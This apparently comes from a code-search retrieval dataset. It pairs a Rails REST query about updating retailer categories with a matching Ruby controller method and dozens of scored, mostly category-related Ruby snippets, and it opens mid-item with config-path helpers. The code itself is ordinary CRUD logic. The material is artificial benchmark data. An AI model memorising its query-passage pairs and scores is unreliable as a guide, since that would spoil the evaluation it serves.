"text": "def config_file\n root.join 'config', @@env + '.yml'\n end",
"title": ""
},
{
"docid": "f35a34714bb756e73793993bef4dc1b0",
"score": "0.63437283",
"text": "def relative_config_file\n File.join(@settings[:config_dir], @settings[:config_file])\n end",
"title": ""
},
{
"docid": "452a185bb0ae1fe637681cb25cb195fb",
"score": "0.6340916",
"text": "def get_r10k_config_file_path(master)\n confdir = on(master, puppet('config print confdir')).stdout.rstrip\n\n return File.join(File.dirname(confdir), 'r10k', 'r10k.yaml')\nend",
"title": ""
},
{
"docid": "3a8c7db05c2a1eeba6eed84a3b75aeae",
"score": "0.6336974",
"text": "def __path__\n @path ||= File.expand_path(ENV['STOVE_CONFIG'] || '~/.stove')\n end",
"title": ""
},
{
"docid": "7481b9b188c14a609d5155bdc72b8e6a",
"score": "0.63363814",
"text": "def filepath\n @filepath\n end",
"title": ""
},
{
"docid": "7481b9b188c14a609d5155bdc72b8e6a",
"score": "0.63363814",
"text": "def filepath\n @filepath\n end",
"title": ""
},
{
"docid": "3c3294ab4757a006f7612447a54b20dc",
"score": "0.63353646",
"text": "def config_filename\n File.join path,LOCAL_STORE_CONFIG_FILE\n end",
"title": ""
},
{
"docid": "432f08168ff0365f5e8dd67966709ced",
"score": "0.6328726",
"text": "def _thin_current_config_path\n File.join(current_path, 'config', 'thin.yml')\n end",
"title": ""
},
{
"docid": "eeba89cf373410d63b51b07d10237718",
"score": "0.63247967",
"text": "def timelines_path\n File.join(Activr.config.app_path, \"timelines\")\n end",
"title": ""
},
{
"docid": "a8e9e096c255407b24f79f15f432bb54",
"score": "0.63228726",
"text": "def config_path_from_environment\n if ENV['MONK_ID_CONFIG']\n ENV['MONK_ID_CONFIG']\n elsif defined? Rails\n File.join(Rails.root, CONFIG_FILE)\n elsif defined? Sinatra\n File.join(Sinatra::Application.settings.root, CONFIG_FILE)\n end\n end",
"title": ""
},
{
"docid": "b8fee969874533428e0f73c65c9a6827",
"score": "0.63209546",
"text": "def config_file_cli_param\n should_use_config_dir? ? @config_dir : config_file_path\n end",
"title": ""
},
{
"docid": "d48c950f86a4a9dc753cafd8c64fa9ff",
"score": "0.63149846",
"text": "def path_file\n @path_file\n end",
"title": ""
}
] |
45f1af0c6cd2f62cad001d418c4a351a
|
PUT /retailer_categories/1 PUT /retailer_categories/1.json
|
[
{
"docid": "d14983d3ce82dab6221b8b4d53a753de",
"score": "0.65802073",
"text": "def update\n # @retailer_category = RetailerCategory.find(params[:id])\n respond_to do |format|\n if @retailer_category.update_attributes(params[:retailer_category])\n format.html { redirect_to @retailer_category, notice: 'Retailer category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @retailer_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "d042a4b8d67e19e968d8c4f929e81e33",
"score": "0.72162974",
"text": "def UpdateCategory params = {}\n \n APICall(path: 'categories.json',method: 'PUT',payload: params.to_json)\n \n end",
"title": ""
},
{
"docid": "8efbadf20853ae8f07589d7714e7a347",
"score": "0.7080294",
"text": "def update_categories(categories, options = {} )\n options.merge!(:docid => self.docid, :categories => categories)\n resp = @conn.put do |req|\n req.url \"categories\"\n req.body = options.to_json\n end\n\n resp.status \n end",
"title": ""
},
{
"docid": "64342e33d137990e24b5fa224c350bd3",
"score": "0.65694046",
"text": "def update\n json_update(category,category_params, Category)\n end",
"title": ""
},
{
"docid": "d8d84f77d276561dec27ec0a26da003d",
"score": "0.63784945",
"text": "def putCategory( category_id, language, name)\n params = Hash.new\n params['category_id'] = category_id\n params['language'] = language\n params['name'] = name\n return doCurl(\"put\",\"/category\",params)\n end",
"title": ""
},
{
"docid": "db8c730f4aecce9c10f9fd82db193c6a",
"score": "0.6343324",
"text": "def user_category_edit\n @user = User.where(contact: params[:contact]).first\n @user.categories.destroy_all\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-categories\", data: \"categories updated\"}, status: :ok\n end",
"title": ""
},
{
"docid": "83a1bcdb77232f83f8687b6273c57268",
"score": "0.63172626",
"text": "def update\n update! {admin_categories_path}\n end",
"title": ""
},
{
"docid": "5f7e5e4411b3f33fa7304e6173a3b293",
"score": "0.62675816",
"text": "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end",
"title": ""
},
{
"docid": "5f7e5e4411b3f33fa7304e6173a3b293",
"score": "0.62675816",
"text": "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end",
"title": ""
},
{
"docid": "23218e16f67c2c2c9de11bf4d239094a",
"score": "0.62274486",
"text": "def update\n if @category.update(category_params)\n render json: @category, status: :ok\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3088eb81a602cb4eef0445c0bb188c8f",
"score": "0.62087727",
"text": "def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend",
"title": ""
},
{
"docid": "6d49dbf9afd5daf14ceaf7eb95e370b8",
"score": "0.617456",
"text": "def update\n @retailer_category = RetailerCategory.find(params[:id])\n\n respond_to do |format|\n if @retailer_category.update_attributes(params[:retailer_category])\n flash[:notice] = 'RetailerCategory was successfully updated.'\n format.html { redirect_to(@retailer_category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @retailer_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d162d77b125929a351932359fe76bbc5",
"score": "0.6157406",
"text": "def update_categories(cats=[])\n rescue_extra_data\n cats = cats.to_i\n old_categories = categories.pluck(\"#{CamaleonCms::TermTaxonomy.table_name}.id\")\n delete_categories = old_categories - cats\n news_categories = cats - old_categories\n term_relationships.where(\"term_taxonomy_id in (?)\", delete_categories ).destroy_all if delete_categories.present?\n news_categories.each do |key|\n term_relationships.create(:term_taxonomy_id => key)\n end\n update_counters(\"categories\")\n end",
"title": ""
},
{
"docid": "c75d43cdecf4f06d147a84c96bd6a2ee",
"score": "0.61493933",
"text": "def update\n if @categoria.update(categoria_params)\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity \n end\n end",
"title": ""
},
{
"docid": "de1019d3d161e462915d4ceb82ed94b7",
"score": "0.6124025",
"text": "def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend",
"title": ""
},
{
"docid": "70019269a3316d58f81e8822824af602",
"score": "0.6073518",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4a17b2cac751bb46f3e759a4fb7f7da",
"score": "0.607336",
"text": "def set_category\n @categories = Category.find(params[:id])\n end",
"title": ""
},
{
"docid": "1962ae0719ef47997ba9ae2f5e666153",
"score": "0.60652995",
"text": "def update\n unless @category.name == \"ROOT\"\n if @category.update(category_params)\n render 'show', :status => 200, :layout => false, notice: 'Category was successfully created.'\n else\n render :json => {:message => \"Error in updating category\"}, notice: @category.errors, :layout => false, :status => 400\n end\n else\n render :json => {:message => \"Root can't be edited.\"}, :layout => false, :status => 400\n end\n end",
"title": ""
},
{
"docid": "cfa293fcedd9d142b87e170ab49ecf0e",
"score": "0.60536194",
"text": "def update\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with(@category, location: categories_url)\n end",
"title": ""
},
{
"docid": "6abcb91f352c2d349e36ff76d2aa3fa8",
"score": "0.60340023",
"text": "def update\n respond_to do |format|\n if @server.update(server_params)\n @server.servers_to_categories.destroy_all\n\n cats = params[:server][:category_id]\n cats.each do |c|\n unless c.empty?\n stc = ServersToCategories.new\n stc.category_id = c\n stc.server_id = @server.id\n\n stc.save\n end\n end\n\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "178ef62871b8643a36945d5af95e9191",
"score": "0.6014537",
"text": "def create\n # @retailer_category = RetailerCategory.new(params[:retailer_category])\n respond_to do |format|\n if @retailer_category.save\n format.html { redirect_to @retailer_category, notice: 'Retailer category was successfully created.' }\n format.json { render json: @retailer_category, status: :created, location: @retailer_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retailer_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ef8adb1a5704a8b5a121b08109edc7a3",
"score": "0.6005249",
"text": "def update\n if @category.update(params[:category])\n head :no_content\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3fac74b638ef28cb601ed9ea818fc6be",
"score": "0.6003309",
"text": "def editCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.find(params[:id])\n status = c.update(name: params[:name])\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"title": ""
},
{
"docid": "4095c38a998d1235ac57f37ab6e9c647",
"score": "0.59671926",
"text": "def update\n @headline = t(:update_category)\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: t(:updated_category_success) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "349a9232fc56b5e2281fa39040abfa78",
"score": "0.59627885",
"text": "def update(request)\n if options[:multiple]\n cats = request.every(options[:category])\n cats.each do |cat|\n if cat || options[:nils]\n @categories[cat] ||= 0\n @categories[cat] += 1\n end \n end\n \n else\n cat = @categorizer.call(request)\n if cat || options[:nils]\n @categories[cat] ||= 0\n @categories[cat] += 1\n end\n end\n end",
"title": ""
},
{
"docid": "ee72bbcd8e266a5372ead8f0c077455a",
"score": "0.5950725",
"text": "def categories=(categories)\n end",
"title": ""
},
{
"docid": "e4224c687a2b6bcca787ae00a8f6743c",
"score": "0.59384084",
"text": "def update\n @expense.categories_expenses.destroy_all\n if (params[:expense][:categories]) \n params[:expense][:categories].each do |category_id|\n category_id = category_id.to_i\n if category_id > 0\n @expense.categories << Category.find(category_id)\n end\n end\n end\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n flash[:notice] = 'Expense was successfully updated.'\n format.html { redirect_to(@expense) }\n format.xml { head :ok }\n format.iphone { redirect_to :controller => \"welcome\", :action => \"home\" }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n format.iphone { render :action => \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "86b7890e771192776e44c4ff64df08dd",
"score": "0.5932491",
"text": "def set_categories(ids)\n self.categories = Category.find(ids)\n self.save\n end",
"title": ""
},
{
"docid": "88fa900a8480b49aaa22b7e0d2ccdec0",
"score": "0.59048337",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.json { render :show, status: :ok, location: @category }\n else\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6aa4c50fbe5824d0096da9f1b9e02564",
"score": "0.59018165",
"text": "def set_category\n @categories = Category.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "15c36129d16955daed774f43f98349d8",
"score": "0.5888621",
"text": "def update\n @recipe = Recipe.find(params[:id])\n\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n @categories=RecipeCategory.all\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5560e9da42d91d79fa879f12198ff3a",
"score": "0.58783066",
"text": "def update\n @categorization = Categorization.find(params[:id])\n @categories = category_list\n respond_to do |format|\n if @categorization.update_attributes(params[:categorization])\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b64f7642f49af5088cd474b4a1fc0229",
"score": "0.5870752",
"text": "def update\n @category.update_attributes(params[:category])\n respond_with(@category)\n end",
"title": ""
},
{
"docid": "8c2a5feb154fcb8307c600fd6f50508e",
"score": "0.58590055",
"text": "def set_category\n end",
"title": ""
},
{
"docid": "ae7257ca4255c4c44b7c2d2c2ad0f5a6",
"score": "0.58500594",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to api_v1_category_path(@category), notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "efa5bfb3e64d80c5bccd8818825a5ff2",
"score": "0.5842484",
"text": "def destroy\n # @retailer_category = RetailerCategory.find(params[:id])\n @retailer_category.destroy\n respond_to do |format|\n format.html { redirect_to retailer_categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2e413155a54df8bd90ccd162b27efc30",
"score": "0.58406985",
"text": "def CreateCategory params = {}\n \n APICall(path: 'categories.json',method: 'POST',payload: params.to_json)\n \n end",
"title": ""
},
{
"docid": "ea8c63e99bb847721394853c5acf916a",
"score": "0.5837133",
"text": "def set_categories_course\n @categories_course = CategoriesCourse.find(params[:id])\n end",
"title": ""
},
{
"docid": "7abf6c89344fa7348a027ac7a2890cc5",
"score": "0.5820974",
"text": "def update\n\t@vehicle_categories = VehicleCategory.all\n\t@vehicle_category = VehicleCategory.find(params[:id])\n respond_to do |format|\n if @vehicle_category.update(vehicle_category_params)\n format.html { redirect_to @vehicle_category, notice: 'Vehicle category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ebfeebcf83275287e20a892ec7c92276",
"score": "0.58092976",
"text": "def update\n @post_category = current_user.post_categories.find(params[:id])\n\n respond_to do |format|\n if @post_category.update_attributes(params[:post_category])\n format.html { redirect_to [:client,@post_category], notice: 'Post category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41fcb3c025cd91c1947ef5e828f457ef",
"score": "0.5804349",
"text": "def update\n Category.update(params[:category].keys, params[:category].values)\n\n redirect_to admin_ads_path\n end",
"title": ""
},
{
"docid": "2c45b0029d5440c7c02d480c3cb65fae",
"score": "0.5803655",
"text": "def update\n respond_to do |format|\n if @incidentcategory.update(incidentcategory_params)\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end\n end",
"title": ""
},
{
"docid": "d353cd6c6c9b10f85574f5801dd4e03c",
"score": "0.5801627",
"text": "def create\n @category = @collection.categories.new(category_params)\n\n if @category.save\n ActionCable.server.broadcast 'categories',\n title: @category.title,\n collection_id: @category.collection_id\n head :ok\n else\n\n end\n end",
"title": ""
},
{
"docid": "3bc35f8b66b038bb2cf97ce429052a6d",
"score": "0.5797836",
"text": "def set_retail\n @retail = Retail.find(params[:id])\n # @categories = RetailCategory.find(:all)\n end",
"title": ""
},
{
"docid": "ff6334ba896161cdb90743abafe349de",
"score": "0.57860965",
"text": "def update\n @category.update(category_params)\n end",
"title": ""
},
{
"docid": "e3a5e495862299bb07c6cad107c04d9b",
"score": "0.5776712",
"text": "def update\n category= Category.find(params[:id])\n category.update(category_params)\n \n end",
"title": ""
},
{
"docid": "3c423694b148a2918bb7463471a3aecc",
"score": "0.57732016",
"text": "def category_attributes=(category_attributes) # setter\n # raise category_attributes.inspect\n category_attributes.keys.each do |key|\n categories.new(category_attributes[key])\n end\n end",
"title": ""
},
{
"docid": "5a57e79b7f5424847541f2df5ff06739",
"score": "0.57523274",
"text": "def set_recipe_category\r\n @recipe_category = RecipeCategory.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "d570bf57e2e1e6695009535ad326a805",
"score": "0.57473737",
"text": "def update\n respond_to do |format|\n @account.categories = params[:categories]\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b166f30024b0501e80b7ef18bbee3f59",
"score": "0.57370377",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to backoffice_categories_path,\n notice: notification_alert('success', 'Updated!', \"Category [#{@category.description}] was successfully updated.\") \n }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "300f4d8de887272ae85452bb5a6a63d1",
"score": "0.5734646",
"text": "def update\n @consumer_category = ConsumerCategory.find(params[:id])\n\n respond_to do |format|\n if @consumer_category.update_attributes(params[:consumer_category])\n format.html { redirect_to @consumer_category, notice: 'Consumer category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @consumer_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f12fef4ae1285f31330e50444fc62e21",
"score": "0.5732372",
"text": "def update\n respond_to do |format|\n if @catalog_category.update(catalog_category_params)\n format.html { redirect_to catalog_categories_url }\n format.json { render :show, status: :ok, location: @catalog_category }\n else\n format.html { render :edit }\n format.json { render json: @catalog_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "07c4d2fc4c26d4bd7ef995d000faf340",
"score": "0.57294476",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n # format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.html { redirect_to categories_path, notice: 'Pomyślnie zaktualizowano kategorię.' }\n format.json { head :no_content }\n else\n # format.html { render action: \"edit\" }\n format.html { redirect_to units_path, :flash => { :error => 'Nie udało się zaktualizować kategorii' } }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64c0c7fa5d32b1cfa2782d5e6c276db4",
"score": "0.5728923",
"text": "def update\n @category = current_mall.categories.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bf0849f42c2d7aa723ba0f780d8c1a1e",
"score": "0.5727319",
"text": "def user_category\n # byebug\n @user = User.where(contact: params[:contact]).first\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-data\", data: \"category saved\"}, status: :ok\n end",
"title": ""
},
{
"docid": "fc30d891e609c8f90bfd1050d9973f3d",
"score": "0.5724544",
"text": "def update\n @recipe_category = RecipeCategory.find(params[:id])\n\n respond_to do |format|\n if @recipe_category.update_attributes(params[:recipe_category])\n format.html { redirect_to @recipe_category, notice: 'Recipe category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7dbe27f41f4e4b9f14f27de015fc90d5",
"score": "0.5724093",
"text": "def get_menu_category\n require \"rest_client\"\n require \"json\"\n\n self.categories.update_all(still_present: false)\n response = RestClient.get(\"https://api.omnivore.io/0.1/locations/#{self.omnivore_id}/menu/categories\", {:content_type => :json, :'Api-Key' => Setting.first.app_api_key})\n res = JSON.parse(response)\n res[\"_embedded\"][\"categories\"].each do |category|\n cat = self.categories.where(omnivore_id: category[\"id\"]).first_or_create\n cat.name = category[\"name\"]\n cat.still_present = true\n cat.save\n end\n\n self.categories.where(still_present: false).destroy_all\n end",
"title": ""
},
{
"docid": "6d7c9a3752153c0eb3d8571aaf1c9b64",
"score": "0.5719085",
"text": "def set_status_category\n @status_category = StatusCategory.find(params[:id])\n end",
"title": ""
},
{
"docid": "f9b7e69d8d8fa089a2a0c6aaf9967ade",
"score": "0.5713027",
"text": "def update\n authorize! :update, @category\n \n @category.modifier = current_user\n \n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to categories_url + '#' + @category.slug, notice: t('.success') }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8eec048a52671a22ab2f91bb83fc3854",
"score": "0.5707184",
"text": "def update\n respond_to do |format|\n if @receipe_category.update(receipe_category_params)\n format.html { redirect_to @receipe_category, notice: 'Receipe category was successfully updated.' }\n format.json { render :show, status: :ok, location: @receipe_category }\n else\n format.html { render :edit }\n format.json { render json: @receipe_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92c8339bd944182f686d47e21f571f64",
"score": "0.57067364",
"text": "def update\n # recipe_params[:ingredient_lists_attributes].each do |list|\n # list.each do |item|\n # item[:ingredient_attributes] = Ingredient.where(name: item[:ingredient_attributes].name).first_or_create\n # end\n # end\n \n # category_ids = params[:recipe][:categories_attributes].map { |k,v| v[:id] }\n # #pry.debugger\n \n # recipe_params.merge({ category_ids: category_ids })\n \n\n respond_to do |format|\n \n if @recipe.update(recipe_params)\n format.html { redirect_to recipes_url, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a19d069909f4d3f053f7e7047a68bc89",
"score": "0.57066905",
"text": "def update\n category = Documents::Category.find(params[:id])\n category.update!(category_params)\n redirect_to categories_path\n end",
"title": ""
},
{
"docid": "ab00f836a7fdb7fa74fe6a4a0e706e54",
"score": "0.570417",
"text": "def update\n @post_category = Post::Category.find(params[:id])\n\n respond_to do |format|\n if @post_category.update_attributes(params[:post_category])\n format.html { redirect_to @post_category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3e86af181e8540b9809c84b5b7012d2",
"score": "0.57039726",
"text": "def update\n\t\tif (@category.titulo != \"Geral\")\n\t\t\trespond_to do |format|\n\t\t\t\tif @category.update(category_params)\n\t\t\t\t\tformat.html { redirect_to @category, notice: 'Categoria atualizada com sucesso.' }\n\t\t\t\t\tformat.json { head :no_content }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\t\tformat.json { render json: @category.errors, status: :unprocessable_entity }\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f1f0e4bfbf18fc0b2c5cb925bd18fc70",
"score": "0.56989247",
"text": "def update\n @category = Category.find(params[:id])\n\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Sucesso - update'\n else\n flash[:notice] = 'Falha ao atualizar a categoria'\n end\n\n # respond_to do |format|\n # if @category.update_attributes(params[:category])\n # format.html { redirect_to categories_path}\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n \n # end\n # end\n end",
"title": ""
},
{
"docid": "f980a1ae48b7243928498e28415910cd",
"score": "0.56980467",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: t('update.notice', name: t('activerecord.models.category')) }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9050d85c2cc097354f1e75753ae5700f",
"score": "0.5694252",
"text": "def update\n @kategory = Kategory.find(params[:id])\n\n respond_to do |format|\n if @kategory.update_attributes(params[:kategory])\n format.html { redirect_to @kategory, notice: 'Kategory was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kategory.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59f9e615ec232cc44c6f3917e90fdac2",
"score": "0.56914085",
"text": "def categories=(value)\n @categories = value\n end",
"title": ""
},
{
"docid": "308312b07c6a0f1048ee7f153d43a89b",
"score": "0.5690555",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to management_categories_path }\n format.json { render json: @category, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6ec06fb0bc0406380126b3fc46252fc8",
"score": "0.5683241",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to :back, notice: 'Kategori diperbarui.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d58f40284f363360e62f92819ba9c127",
"score": "0.567017",
"text": "def update\n #locates the category to be updated\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f18536e4bfb8078d40dc3025cf606121",
"score": "0.56679475",
"text": "def update\n @reserved_category.update(reserved_category_params)\n @reserved_categories = ReservedCategory.all\n @reserved_category = ReservedCategory.new\n end",
"title": ""
},
{
"docid": "0a14e575c0d4518a8b6172035f49381d",
"score": "0.5666644",
"text": "def update\n @word_list = current_user.word_list\n\n #need to first remove categories from the word\n @word.categories.each do |category|\n @word.categories.delete category\n end\n\n #then push categories in from the category_params\n if params[\"category\"].include?(:category_ids)\n (params[\"category\"])[\"category_ids\"].each do |i|\n next if i.to_i == 0\n @word.categories << Category.find(i.to_i) unless @word.categories.include?(Category.find(i.to_i))\n end\n end\n\n if category_params.include?(:title) && ((params[\"category\"])[\"title\"]) != \"\"\n @word.categories << @word_list.categories.build(title: (params[\"category\"])[\"title\"])\n end\n\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word_list, notice: 'Word was successfully updated.' }\n #format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n #format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dff544cc89a37c6ccfbf98ae7d2a3962",
"score": "0.56633526",
"text": "def update\n @category_collection = CategoryCollection.find(params[:id])\n @collection = @category_collection.collection\n\n respond_to do |format|\n if @category_collection.update_attributes(params[:category_collection])\n flash[:notice] = 'CategoryCollection was successfully updated.'\n format.html { redirect_to(@collection) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category_collection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7679b7e7eccbaffffad0f1af3bdbe94b",
"score": "0.56621253",
"text": "def set_category\n set_user\n @category = @user.categories.find params[:id]\n end",
"title": ""
},
{
"docid": "b468909ff0ad03d82be0c839207b4d67",
"score": "0.5658112",
"text": "def update\n respond_to do |format|\n if @coach_category.update(coach_category_params)\n format.html { redirect_to @coach_category, notice: 'Categoria de treinador foi actualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @coach_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2398a142df0082d2299652ce0ea677ac",
"score": "0.56482923",
"text": "def create\n if @category.save\n render json: @category, status: :created, location: @category\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "067771df468df4ab535fb82b2d784a06",
"score": "0.56482315",
"text": "def set_categories\n @categories = Category.all\n end",
"title": ""
},
{
"docid": "d9636faee49ffd0e16f6b98cb1f1aec8",
"score": "0.56473327",
"text": "def update\n # update attribute\n if @category.update_attributes(category_params)\n # flash message\n flash.now[:success] = \"更新完了しました。\"\n # get category data\n all_categories\n else\n render 'edit'\n end\n end",
"title": ""
},
{
"docid": "6a6cffc6fc88a3c4665224a7590ff9e4",
"score": "0.56442887",
"text": "def update\n @user = current_user\n if @user.commission_request_template_json.nil? \n @user.commission_request_template_json = {\"categories\" => []}.to_json\n end\n json = build_json_from_params \n @user.commission_request_template_json = nil\n @user.save\n @user.commission_request_template_json = json\n if @user.save\n flash[:notice] = \"Commission Template Saved!\"\n else\n flash[:alert] = \"Error Saving Template\"\n end \n redirect_to root_url\n end",
"title": ""
},
{
"docid": "e88ffd8c8a2dc13a2bf2336f18255019",
"score": "0.564161",
